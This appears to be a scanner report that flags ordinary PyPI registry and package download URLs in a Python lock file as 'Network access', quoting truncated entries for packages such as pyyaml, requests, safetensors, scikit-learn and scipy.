    wheels = [     { url = "https://files.pythonhosted.org/packages/10/bd/c038d7cc38edc1aa5bf91ab8068b63d4308c66c4c8bb3cbba7dfbc049f9c/pyparsing-3.3.2-py3-none-any.whl", hash = "sha256:850ba148bd908d7e2411587e247a1e4f0327839c40e2e5e6d05a007ecc6
  • Network accessline 1354
    { url = "https://files.pythonhosted.org/packages/10/bd/c038d7cc38edc1aa5bf91ab8068b63d4308c66c4c8bb3cbba7dfbc049f9c/pyparsing-3.3.2-py3-none-any.whl", hash = "sha256:850ba148bd908d7e2411587e247a1e4f0327839c40e2e5e6d05a007ecc69911d", size = 
  • Network accessline 1358
    name = "python-dateutil" version = "2.9.0.post0" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 1359
    version = "2.9.0.post0" source = { registry = "https://pypi.org/simple/" } dependencies = [
  • Network accessline 1360
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 1362
    { name = "six" }, ] sdist = { url = "https://files.pythonhosted.org/packages/66/c0/0c8b6ad9f17a802ee498c46e004a0eb49bc148f2fd230864601a86dcf6db/python-dateutil-2.9.0.post0.tar.gz", hash = "sha256:37dd54208da7e1cd875388217d5e00ebd4179249f90f
  • Network accessline 1363
    ] sdist = { url = "https://files.pythonhosted.org/packages/66/c0/0c8b6ad9f17a802ee498c46e004a0eb49bc148f2fd230864601a86dcf6db/python-dateutil-2.9.0.post0.tar.gz", hash = "sha256:37dd54208da7e1cd875388217d5e00ebd4179249f90fb72437e91a35459a0a
  • Network accessline 1364
    sdist = { url = "https://files.pythonhosted.org/packages/66/c0/0c8b6ad9f17a802ee498c46e004a0eb49bc148f2fd230864601a86dcf6db/python-dateutil-2.9.0.post0.tar.gz", hash = "sha256:37dd54208da7e1cd875388217d5e00ebd4179249f90fb72437e91a35459a0ad3
  • Network accessline 1365
    wheels = [     { url = "https://files.pythonhosted.org/packages/ec/57/56b9bcc3c9c6a792fcbaf139543cee77261f3651ca9da0c93f5c1221264b/python_dateutil-2.9.0.post0-py2.py3-none-any.whl", hash = "sha256:a8b2bc7bffae282281c8140a97d3aa9c14da0b136df
  • Network accessline 1366
    { url = "https://files.pythonhosted.org/packages/ec/57/56b9bcc3c9c6a792fcbaf139543cee77261f3651ca9da0c93f5c1221264b/python_dateutil-2.9.0.post0-py2.py3-none-any.whl", hash = "sha256:a8b2bc7bffae282281c8140a97d3aa9c14da0b136dfe83f850eea9a5f7
  • Network accessline 1370
    name = "pytorch-lightning" version = "2.6.5" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 1371
    version = "2.6.5" source = { registry = "https://pypi.org/simple/" } dependencies = [
  • Network accessline 1372
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 1381
    { name = "typing-extensions" }, ] sdist = { url = "https://files.pythonhosted.org/packages/52/2c/8e73a3929b4c4bd600cafd38a97aaf7242a8cf518fb9f33d27c274ec898f/pytorch_lightning-2.6.5.tar.gz", hash = "sha256:1c32cefa76a1a9c4c5250338272d961d1e
  • Network accessline 1382
    ] sdist = { url = "https://files.pythonhosted.org/packages/52/2c/8e73a3929b4c4bd600cafd38a97aaf7242a8cf518fb9f33d27c274ec898f/pytorch_lightning-2.6.5.tar.gz", hash = "sha256:1c32cefa76a1a9c4c5250338272d961d1e48b180e68396849efe128538ddb28e",
  • Network accessline 1383
    sdist = { url = "https://files.pythonhosted.org/packages/52/2c/8e73a3929b4c4bd600cafd38a97aaf7242a8cf518fb9f33d27c274ec898f/pytorch_lightning-2.6.5.tar.gz", hash = "sha256:1c32cefa76a1a9c4c5250338272d961d1e48b180e68396849efe128538ddb28e", s
  • Network accessline 1384
    wheels = [     { url = "https://files.pythonhosted.org/packages/8b/4d/5740c27110b83634d8491c3b5facf0111b3e554c3164f4fb953be9bddaf6/pytorch_lightning-2.6.5-py3-none-any.whl", hash = "sha256:62d9c8549b2278fedc3364f0a5607a56c6063d18635008f8cf3
  • Network accessline 1385
    { url = "https://files.pythonhosted.org/packages/8b/4d/5740c27110b83634d8491c3b5facf0111b3e554c3164f4fb953be9bddaf6/pytorch_lightning-2.6.5-py3-none-any.whl", hash = "sha256:62d9c8549b2278fedc3364f0a5607a56c6063d18635008f8cf3fae8d802b0d76",
  • Network accessline 1389
    name = "pytorch-metric-learning" version = "2.9.0" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 1390
    version = "2.9.0" source = { registry = "https://pypi.org/simple/" } dependencies = [
  • Network accessline 1391
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 1396
    { name = "tqdm" }, ] sdist = { url = "https://files.pythonhosted.org/packages/9b/80/6e61b1a91debf4c1b47d441f9a9d7fe2aabcdd9575ed70b2811474eb95c3/pytorch-metric-learning-2.9.0.tar.gz", hash = "sha256:27a626caf5e2876a0fd666605a78cb67ef7597e25
  • Network accessline 1397
    ] sdist = { url = "https://files.pythonhosted.org/packages/9b/80/6e61b1a91debf4c1b47d441f9a9d7fe2aabcdd9575ed70b2811474eb95c3/pytorch-metric-learning-2.9.0.tar.gz", hash = "sha256:27a626caf5e2876a0fd666605a78cb67ef7597e25d7a68c18053dd503830
  • Network accessline 1398
    sdist = { url = "https://files.pythonhosted.org/packages/9b/80/6e61b1a91debf4c1b47d441f9a9d7fe2aabcdd9575ed70b2811474eb95c3/pytorch-metric-learning-2.9.0.tar.gz", hash = "sha256:27a626caf5e2876a0fd666605a78cb67ef7597e25d7a68c18053dd50383070
  • Network accessline 1399
    wheels = [     { url = "https://files.pythonhosted.org/packages/46/7d/73ef5052f57b7720cad00e16598db3592a5ef4826745ffca67a2f085d4dc/pytorch_metric_learning-2.9.0-py3-none-any.whl", hash = "sha256:d51646006dc87168f00cf954785db133a4c5aac812538
  • Network accessline 1400
    { url = "https://files.pythonhosted.org/packages/46/7d/73ef5052f57b7720cad00e16598db3592a5ef4826745ffca67a2f085d4dc/pytorch_metric_learning-2.9.0-py3-none-any.whl", hash = "sha256:d51646006dc87168f00cf954785db133a4c5aac81253877248737aa42ef6
  • Network accessline 1404
    name = "pyyaml" version = "6.0.3" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 1405
    version = "6.0.3" source = { registry = "https://pypi.org/simple/" } sdist = { url = "https://files.pythonhosted.org/packages/05/8e/961c0007c59b8dd7729d542c61a4d537767a59645b82a0b521206e1e25c2/pyyaml-6.0.3.tar.gz", hash = "sha256:d766233734
  • Network accessline 1406
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 1407
    sdist = { url = "https://files.pythonhosted.org/packages/05/8e/961c0007c59b8dd7729d542c61a4d537767a59645b82a0b521206e1e25c2/pyyaml-6.0.3.tar.gz", hash = "sha256:d76623373421df22fb4cf8817020cbb7ef15c725b9d5e45f17e189bfc384190f", size = 13096
  • Network accessline 1408
    wheels = [     { url = "https://files.pythonhosted.org/packages/d1/11/0fd08f8192109f7169db964b5707a2f1e8b745d4e239b784a5a1dd80d1db/pyyaml-6.0.3-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:8da9669d359f02c0b91ccc01cac4a67f16afec0dac2
  • Network accessline 1409
    { url = "https://files.pythonhosted.org/packages/d1/11/0fd08f8192109f7169db964b5707a2f1e8b745d4e239b784a5a1dd80d1db/pyyaml-6.0.3-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:8da9669d359f02c0b91ccc01cac4a67f16afec0dac22c2ad09f46bee06
  • Network accessline 1410
    { url = "https://files.pythonhosted.org/packages/b1/16/95309993f1d3748cd644e02e38b75d50cbc0d9561d21f390a76242ce073f/pyyaml-6.0.3-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:2283a07e2c21a2aa78d9c4442724ec1eb15f5e42a723b99cb3d822d48f5f
  • Network accessline 1411
    { url = "https://files.pythonhosted.org/packages/50/31/b20f376d3f810b9b2371e72ef5adb33879b25edb7a6d072cb7ca0c486398/pyyaml-6.0.3-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:ee2922902c
  • Network accessline 1412
    { url = "https://files.pythonhosted.org/packages/49/1e/a55ca81e949270d5d4432fbbd19dfea5321eda7c41a849d443dc92fd1ff7/pyyaml-6.0.3-cp313-cp313-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:a33284e20b78bd4a
  • Network accessline 1413
    { url = "https://files.pythonhosted.org/packages/74/27/e5b8f34d02d9995b80abcef563ea1f8b56d20134d8f4e5e81733b1feceb2/pyyaml-6.0.3-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:0f29edc409a63
  • Network accessline 1414
    { url = "https://files.pythonhosted.org/packages/f9/11/ba845c23988798f40e52ba45f34849aa8a1f2d4af4b798588010792ebad6/pyyaml-6.0.3-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:f7057c9a337546edc7973c0d3ba84ddcdf0daa14533c2065749c9075
  • Network accessline 1415
    { url = "https://files.pythonhosted.org/packages/3d/e0/7966e1a7bfc0a45bf0a7fb6b98ea03fc9b8d84fa7f2229e9659680b69ee3/pyyaml-6.0.3-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:eda16858a3cab07b80edaf74336ece1f986ba330fdb8ee0d6c0d68fe8
  • Network accessline 1416
    { url = "https://files.pythonhosted.org/packages/de/94/980b50a6531b3019e45ddeada0626d45fa85cbe22300844a7983285bed3b/pyyaml-6.0.3-cp313-cp313-win32.whl", hash = "sha256:d0eae10f8159e8fdad514efdc92d74fd8d682c933a6dd088030f3834bc8e6b26", size 
  • Network accessline 1417
    { url = "https://files.pythonhosted.org/packages/97/c9/39d5b874e8b28845e4ec2202b5da735d0199dbe5b8fb85f91398814a9a46/pyyaml-6.0.3-cp313-cp313-win_amd64.whl", hash = "sha256:79005a0d97d5ddabfeeea4cf676af11e647e41d81c9a7722a193022accdb6b7c", s
  • Network accessline 1418
    { url = "https://files.pythonhosted.org/packages/73/e8/2bdf3ca2090f68bb3d75b44da7bbc71843b19c9f2b9cb9b0f4ab7a5a4329/pyyaml-6.0.3-cp313-cp313-win_arm64.whl", hash = "sha256:5498cd1645aa724a7c71c8f378eb29ebe23da2fc0d7a08071d89469bf1d2defb", s
  • Network accessline 1422
    name = "requests" version = "2.34.2" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 1423
    version = "2.34.2" source = { registry = "https://pypi.org/simple/" } dependencies = [
  • Network accessline 1424
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 1429
    { name = "urllib3" }, ] sdist = { url = "https://files.pythonhosted.org/packages/ac/c3/e2a2b89f2d3e2179abd6d00ebd70bff6273f37fb3e0cc209f48b39d00cbf/requests-2.34.2.tar.gz", hash = "sha256:f288924cae4e29463698d6d60bc6a4da69c89185ad1e0bcc4104
  • Network accessline 1430
    ] sdist = { url = "https://files.pythonhosted.org/packages/ac/c3/e2a2b89f2d3e2179abd6d00ebd70bff6273f37fb3e0cc209f48b39d00cbf/requests-2.34.2.tar.gz", hash = "sha256:f288924cae4e29463698d6d60bc6a4da69c89185ad1e0bcc4104f584e960b9ed", size = 
  • Network accessline 1431
    sdist = { url = "https://files.pythonhosted.org/packages/ac/c3/e2a2b89f2d3e2179abd6d00ebd70bff6273f37fb3e0cc209f48b39d00cbf/requests-2.34.2.tar.gz", hash = "sha256:f288924cae4e29463698d6d60bc6a4da69c89185ad1e0bcc4104f584e960b9ed", size = 14
  • Network accessline 1432
    wheels = [     { url = "https://files.pythonhosted.org/packages/a0/f4/c67b0b3f1b9245e8d266f0f112c500d50e5b4e83cb6f3b71b6528104182a/requests-2.34.2-py3-none-any.whl", hash = "sha256:2a0d60c172f83ac6ab31e4554906c0f3b3588d37b5cb939b1c061f4907e
  • Network accessline 1433
    { url = "https://files.pythonhosted.org/packages/a0/f4/c67b0b3f1b9245e8d266f0f112c500d50e5b4e83cb6f3b71b6528104182a/requests-2.34.2-py3-none-any.whl", hash = "sha256:2a0d60c172f83ac6ab31e4554906c0f3b3588d37b5cb939b1c061f4907e278e0", size = 
  • Network accessline 1437
    name = "rich" version = "15.0.0" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 1438
    version = "15.0.0" source = { registry = "https://pypi.org/simple/" } dependencies = [
  • Network accessline 1439
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 1442
    { name = "pygments" }, ] sdist = { url = "https://files.pythonhosted.org/packages/c0/8f/0722ca900cc807c13a6a0c696dacf35430f72e0ec571c4275d2371fca3e9/rich-15.0.0.tar.gz", hash = "sha256:edd07a4824c6b40189fb7ac9bc4c52536e9780fbbfbddf6f1e2502c
  • Network accessline 1443
    ] sdist = { url = "https://files.pythonhosted.org/packages/c0/8f/0722ca900cc807c13a6a0c696dacf35430f72e0ec571c4275d2371fca3e9/rich-15.0.0.tar.gz", hash = "sha256:edd07a4824c6b40189fb7ac9bc4c52536e9780fbbfbddf6f1e2502c31b068c36", size = 2306
  • Network accessline 1444
    sdist = { url = "https://files.pythonhosted.org/packages/c0/8f/0722ca900cc807c13a6a0c696dacf35430f72e0ec571c4275d2371fca3e9/rich-15.0.0.tar.gz", hash = "sha256:edd07a4824c6b40189fb7ac9bc4c52536e9780fbbfbddf6f1e2502c31b068c36", size = 230680
  • Network accessline 1445
    wheels = [     { url = "https://files.pythonhosted.org/packages/82/3b/64d4899d73f91ba49a8c18a8ff3f0ea8f1c1d75481760df8c68ef5235bf5/rich-15.0.0-py3-none-any.whl", hash = "sha256:33bd4ef74232fb73fe9279a257718407f169c09b78a87ad3d296f548e27de0b
  • Network accessline 1446
    { url = "https://files.pythonhosted.org/packages/82/3b/64d4899d73f91ba49a8c18a8ff3f0ea8f1c1d75481760df8c68ef5235bf5/rich-15.0.0-py3-none-any.whl", hash = "sha256:33bd4ef74232fb73fe9279a257718407f169c09b78a87ad3d296f548e27de0bb", size = 3106
  • Network accessline 1450
    name = "safetensors" version = "0.8.0" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 1451
    version = "0.8.0" source = { registry = "https://pypi.org/simple/" } sdist = { url = "https://files.pythonhosted.org/packages/45/06/f955dbbb1859e3bd23c8ac6141af5106e7ad5fedec4a3a6e3d60f94b7001/safetensors-0.8.0.tar.gz", hash = "sha256:fabaf
  • Network accessline 1452
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 1453
    sdist = { url = "https://files.pythonhosted.org/packages/45/06/f955dbbb1859e3bd23c8ac6141af5106e7ad5fedec4a3a6e3d60f94b7001/safetensors-0.8.0.tar.gz", hash = "sha256:fabaf3e0f18a6618d9b36560682562157f77c2b71fcffc7b432be2baed9d753d", size = 
  • Network accessline 1454
    wheels = [     { url = "https://files.pythonhosted.org/packages/39/a0/f718cda65b05407d228f97602cf60dca269c979867aa5beb25410de26cd3/safetensors-0.8.0-cp310-abi3-macosx_10_12_x86_64.whl", hash = "sha256:c554f85858e05226d3c2828e32395e677434685
  • Network accessline 1455
    { url = "https://files.pythonhosted.org/packages/39/a0/f718cda65b05407d228f97602cf60dca269c979867aa5beb25410de26cd3/safetensors-0.8.0-cp310-abi3-macosx_10_12_x86_64.whl", hash = "sha256:c554f85858e05226d3c2828e32395e677434685d6d94594a416433
  • Network accessline 1456
    { url = "https://files.pythonhosted.org/packages/f5/b1/fa7c600e7dceae12e9606c7578cbc9ff1e1ed55844883ee5c92205e86226/safetensors-0.8.0-cp310-abi3-macosx_11_0_arm64.whl", hash = "sha256:c80201d22cbf405b80647a60ada77bba06c8fba2da2743ba1e89cdcc
  • Network accessline 1457
    { url = "https://files.pythonhosted.org/packages/09/7d/65a7de0af421317bb36a067241e4235fff194eed60b961ed6d3f59a3fc60/safetensors-0.8.0-cp310-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:7a46e5ff292c356d6991e60942ba7
  • Network accessline 1458
    { url = "https://files.pythonhosted.org/packages/91/4f/3175c9d75634e0e0dda0082794193521035edd7c70a6f212bf33ca06ddf4/safetensors-0.8.0-cp310-abi3-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:4124502b78f03534117c848f87a39b8
  • Network accessline 1459
    { url = "https://files.pythonhosted.org/packages/20/87/846c289e7aa2299eff406335717cf43ce8777194ece8aad75772e0411615/safetensors-0.8.0-cp310-abi3-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:7bc0a787ba8a35be368ee3574edfa
  • Network accessline 1460
    { url = "https://files.pythonhosted.org/packages/76/22/8d64d9df2c45d5ded401df889d0ad90882804ca172d79ec4f0df8f727fe0/safetensors-0.8.0-cp310-abi3-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:040070828e36dc8e122178bbbd5830ff9
  • Network accessline 1461
    { url = "https://files.pythonhosted.org/packages/28/50/f203ff3a3ddfe19308efc83c5a3a29ed02bf786732ec35e68bf9162f3365/safetensors-0.8.0-cp310-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:fd6f3f93c9a0a7cc2788ee63fb76335
  • Network accessline 1462
    { url = "https://files.pythonhosted.org/packages/46/fb/cdaed17ceb2948784fd9c36b6fd3e951b608547cea81a48e8ee6f8cfdfcb/safetensors-0.8.0-cp310-abi3-manylinux_2_31_riscv64.whl", hash = "sha256:fcdd41ec4628fee5799f807c73c353629130fbd942aa23d83c6
  • Network accessline 1463
    { url = "https://files.pythonhosted.org/packages/0d/49/1e15de264dcc3b77943d2d0c56a95809956883b1c2d6d585c792523f180b/safetensors-0.8.0-cp310-abi3-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:8e9f537aa183a38ace122d27303dcd986b26bd2
  • Network accessline 1464
    { url = "https://files.pythonhosted.org/packages/2a/43/bf38443278eab4b1be1fce2931e2b012ad9cb7df52ada751d0aab8f7659a/safetensors-0.8.0-cp310-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:87eec7ffed2b809f05a398a8becb7d013f19f7837cd15d974858
  • Network accessline 1465
    { url = "https://files.pythonhosted.org/packages/72/e3/68cd3fa5b48488e84add63e04cb12f3bc28ae4638c06d4508c6e88823d0e/safetensors-0.8.0-cp310-abi3-musllinux_1_2_armv7l.whl", hash = "sha256:4a95ae2b05d7726d751da4ebf626a2ca782b706e101bd894c95bc
  • Network accessline 1466
    { url = "https://files.pythonhosted.org/packages/29/4b/1c19c509d56e01f4fbb3d0a2e597450f6cc04d1d56cf52defb0a62dfd715/safetensors-0.8.0-cp310-abi3-musllinux_1_2_i686.whl", hash = "sha256:3ae091f16662658bdc019a4ff6cb4c085bb7d725eb5978b183ffd26
  • Network accessline 1467
    { url = "https://files.pythonhosted.org/packages/27/43/41c1621732edd934d868a00d1b891584c892a7b62a9aab82ea5a0a5623ee/safetensors-0.8.0-cp310-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:8e080062fcde23be189565e1c3305d16751a218ecf9412c8601e6
  • Network accessline 1468
    { url = "https://files.pythonhosted.org/packages/8e/3f/73ccf82579412b4a71c4ca673f10b5f1f888d7cf5af7fe24f27d30307be4/safetensors-0.8.0-cp310-abi3-win32.whl", hash = "sha256:2ddf52eac562eda224f99acfa7889d02968c1fd59a5b011ae7d8137c37e9c02d", s
  • Network accessline 1469
    { url = "https://files.pythonhosted.org/packages/1b/6d/3fba214c1e5e0f69991677ec3bc17023f0421776975e1de0c682dca475e2/safetensors-0.8.0-cp310-abi3-win_amd64.whl", hash = "sha256:096ec1a98435df7beb08853bb5aa9081a84f23d0adc67ed1a0a10550f608373f
  • Network accessline 1470
    { url = "https://files.pythonhosted.org/packages/8d/fc/7eedc3510d97878876e32774eebbeb61c43f148a96e915c84229a3e967aa/safetensors-0.8.0-cp310-abi3-win_arm64.whl", hash = "sha256:f7838e5135a406ad3e02efdcb8cf2e5397d368b0154537c4fec682dbc544d452
  • Network accessline 1474
    name = "scikit-learn" version = "1.9.0" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 1475
    version = "1.9.0" source = { registry = "https://pypi.org/simple/" } dependencies = [
  • Network accessline 1476
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 1482
    { name = "threadpoolctl" }, ] sdist = { url = "https://files.pythonhosted.org/packages/fa/6f/37092bdb25f712817231799fc5674d8e704066a8a70c1d2d40517e18b4ab/scikit_learn-1.9.0.tar.gz", hash = "sha256:8833266989d3a5110178a9fae30783675460724d0e1
  • Network accessline 1483
    ] sdist = { url = "https://files.pythonhosted.org/packages/fa/6f/37092bdb25f712817231799fc5674d8e704066a8a70c1d2d40517e18b4ab/scikit_learn-1.9.0.tar.gz", hash = "sha256:8833266989d3a5110178a9fae30783675460724d0e1efb13b14901d2c660c557", size
  • Network accessline 1484
    sdist = { url = "https://files.pythonhosted.org/packages/fa/6f/37092bdb25f712817231799fc5674d8e704066a8a70c1d2d40517e18b4ab/scikit_learn-1.9.0.tar.gz", hash = "sha256:8833266989d3a5110178a9fae30783675460724d0e1efb13b14901d2c660c557", size =
  • Network accessline 1485
    wheels = [     { url = "https://files.pythonhosted.org/packages/3c/01/cf3310626b6d48d3e9be69a1223f9180360b5e6edb045f50fade723ce494/scikit_learn-1.9.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:80746d63bd4b6eaca54d36fe5feaf4d28bb38
  • Network accessline 1486
    { url = "https://files.pythonhosted.org/packages/3c/01/cf3310626b6d48d3e9be69a1223f9180360b5e6edb045f50fade723ce494/scikit_learn-1.9.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:80746d63bd4b6eaca54d36fe5feaf4d28bb38dc6f9470f81c7ca
  • Network accessline 1487
    { url = "https://files.pythonhosted.org/packages/3e/04/5acd7ae280c5f93b6ac5ef6cdec14eef4c8d1cd91d85b3292989c94d96b1/scikit_learn-1.9.0-cp313-cp313-macosx_12_0_arm64.whl", hash = "sha256:5b934c45c252844a91d69fda3a34cff5e7307e1db10d77cb10a398
  • Network accessline 1488
    { url = "https://files.pythonhosted.org/packages/0c/39/ffe829a5b8ecb40a518724a997794657fdc354ada5e8fe8e64d998c0bac9/scikit_learn-1.9.0-cp313-cp313-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:38c3dcb9a1ffb85505ec53d54c
  • Network accessline 1489
    { url = "https://files.pythonhosted.org/packages/1f/88/8dab5de10c638c083772a6be83a3d8106ced492f74a928c8693638e5bb50/scikit_learn-1.9.0-cp313-cp313-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:da76d09304a4706db7cc1e3ebaa3
  • Network accessline 1490
    { url = "https://files.pythonhosted.org/packages/20/3f/7917ca72464038f6240ec70c29f94862d08a34a74291ae4d4ec5eb8186a0/scikit_learn-1.9.0-cp313-cp313-win_amd64.whl", hash = "sha256:5808d98f15c6bf6d9d96d2348c1997392a5888ce7097e664105f930c4bca12
  • Network accessline 1491
    { url = "https://files.pythonhosted.org/packages/78/c7/15739eb2f61fda3c54639e9942414e5a19ad8a8d1f5a3266afad7cb7df80/scikit_learn-1.9.0-cp313-cp313-win_arm64.whl", hash = "sha256:d77f54c017633791bc0225a43e2f8d03745fdcfe4880268fcc4df15f505dec
  • Network accessline 1495
    name = "scipy" version = "1.18.1" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 1496
    version = "1.18.1" source = { registry = "https://pypi.org/simple/" } dependencies = [
  • Network accessline 1497
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 1499
    { name = "numpy" }, ] sdist = { url = "https://files.pythonhosted.org/packages/7e/74/66de6258867beb2ef08f35f9f2ac017a52cacd5081714d239ff1a442d458/scipy-1.18.1.tar.gz", hash = "sha256:52c4b7422442aba924d03ad4019852b08a92e64ea187b933135687bfe
  • Network accessline 1500
    ] sdist = { url = "https://files.pythonhosted.org/packages/7e/74/66de6258867beb2ef08f35f9f2ac017a52cacd5081714d239ff1a442d458/scipy-1.18.1.tar.gz", hash = "sha256:52c4b7422442aba924d03ad4019852b08a92e64ea187b933135687bfe2747307", size = 307
  • Network accessline 1501
    sdist = { url = "https://files.pythonhosted.org/packages/7e/74/66de6258867beb2ef08f35f9f2ac017a52cacd5081714d239ff1a442d458/scipy-1.18.1.tar.gz", hash = "sha256:52c4b7422442aba924d03ad4019852b08a92e64ea187b933135687bfe2747307", size = 30781
  • Network accessline 1502
    wheels = [     { url = "https://files.pythonhosted.org/packages/b6/55/4540ee0f9c42a9ad7109d0d1a8cc70de54c3572b01c6693a2b1c70e90ceb/scipy-1.18.1-cp313-cp313-macosx_10_15_x86_64.whl", hash = "sha256:3ab3523da44749156e1f68b464dc56af11ae4cbc5c7
  • Network accessline 1503
    { url = "https://files.pythonhosted.org/packages/b6/55/4540ee0f9c42a9ad7109d0d1a8cc70de54c3572b01c6693a2b1c70e90ceb/scipy-1.18.1-cp313-cp313-macosx_10_15_x86_64.whl", hash = "sha256:3ab3523da44749156e1f68b464dc56af11ae4cbc5c739a49d05f32b982
  • Network accessline 1504
    { url = "https://files.pythonhosted.org/packages/2a/f5/769f36d14922b8071a43e95d24d18b6bdafad10d7f5cf647867e1ac052bc/scipy-1.18.1-cp313-cp313-macosx_12_0_arm64.whl", hash = "sha256:e6fb6a55cc0ba97b59a1f288fb86dc6fce8bdfc0fffcbfd015e3a954bf2a
  • Network accessline 1505
    { url = "https://files.pythonhosted.org/packages/9a/d7/21d890274f75ea37a8209d5519e72da3da90302e3b9fb8397a0918386a62/scipy-1.18.1-cp313-cp313-macosx_14_0_arm64.whl", hash = "sha256:ea324d9dd34c38bfb9bec8ca4d1b407db97dbb74029f566b8e322b1b6fe5
  • Network accessline 1506
    { url = "https://files.pythonhosted.org/packages/ec/01/798430ecea2e78ec7c02663d5f71c007bb6abeca931080debd40d7fa55ea/scipy-1.18.1-cp313-cp313-macosx_14_0_x86_64.whl", hash = "sha256:75b00eb8fb802090aa903f4ea1c7f5a584779f967361e68b7e98e531cc2
  • Network accessline 1507
    { url = "https://files.pythonhosted.org/packages/e6/5f/4634e9d35c68496e4e34cb6946eafab044458e6cedab42b40b6588e475b6/scipy-1.18.1-cp313-cp313-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:d416b16cccfd70fbf62400e84d0bb2f4
  • Network accessline 1508
    { url = "https://files.pythonhosted.org/packages/41/48/6450ed9243315322bbc19ac57b9b70d66a20bf1d38d124c96bc4bf6af9ea/scipy-1.18.1-cp313-cp313-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:fdaf5ea890a6183d0565f51a61799d6708
  • Network accessline 1509
    { url = "https://files.pythonhosted.org/packages/00/bd/bf5a4be6a3525676499f6dff307991739ff6fdcad1481b1aeb6745339f58/scipy-1.18.1-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:c825cef2f49e46753726a7181a8e199804a912b29519ada542c6ebc6
  • Network accessline 1510
    { url = "https://files.pythonhosted.org/packages/bd/4e/3c45c33e00a77996c4b1cb707929f833ba7b1d522ee29f882512c330676d/scipy-1.18.1-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:e3b417bf8c2c7c16e8f58ad91db17783ec911ac16e7b50eb6eab6e809
  • Network accessline 1511
    { url = "https://files.pythonhosted.org/packages/93/0e/e0348fbc0dbab65c114cf78957e7dfeb49f8e8b556b4d930cc12ff195e18/scipy-1.18.1-cp313-cp313-win_amd64.whl", hash = "sha256:559ed65f60c1af5a03f3912605a1b5114f522c7c32fb23c3376ae8f03219fe28", s
  • Network accessline 1512
    { url = "https://files.pythonhosted.org/packages/50/a8/6a77f5f267c555108f0a864b6db714363dab567a8266422a79a385f9232b/scipy-1.18.1-cp313-cp313-win_arm64.whl", hash = "sha256:cd479fc04dd9401e3b4f49e76518768ef99c4f517a98c284eb091fd725719adf", s
  • Network accessline 1516
    name = "setuptools" version = "84.0.0" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 1517
    version = "84.0.0" source = { registry = "https://pypi.org/simple/" } sdist = { url = "https://files.pythonhosted.org/packages/6d/44/f5da03a8ef95d369145c5bb53050e7877c9f3d312e128605fd9504829143/setuptools-84.0.0.tar.gz", hash = "sha256:f469
  • Network accessline 1518
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 1519
    sdist = { url = "https://files.pythonhosted.org/packages/6d/44/f5da03a8ef95d369145c5bb53050e7877c9f3d312e128605fd9504829143/setuptools-84.0.0.tar.gz", hash = "sha256:f4695c21257f0d9b537ec2692c941d02ee143b7cc1276941349a546573b2ef73", size = 
  • Network accessline 1520
    wheels = [     { url = "https://files.pythonhosted.org/packages/95/9c/c510029fc6ef33a6275cd2c5d3cecd6613dfd6aa401d57c54f1c18852ccf/setuptools-84.0.0-py3-none-any.whl", hash = "sha256:51a52592b3b99e102b609654876bd65f19f999935166d135267893113
  • Network accessline 1521
    { url = "https://files.pythonhosted.org/packages/95/9c/c510029fc6ef33a6275cd2c5d3cecd6613dfd6aa401d57c54f1c18852ccf/setuptools-84.0.0-py3-none-any.whl", hash = "sha256:51a52592b3b99e102b609654876bd65f19f999935166d1352678931132b0c670", size 
  • Network accessline 1525
    name = "six" version = "1.17.0" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 1526
    version = "1.17.0" source = { registry = "https://pypi.org/simple/" } sdist = { url = "https://files.pythonhosted.org/packages/94/e7/b2c673351809dca68a0e064b6af791aa332cf192da575fd474ed7d6f16a2/six-1.17.0.tar.gz", hash = "sha256:ff70335d468
  • Network accessline 1527
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 1528
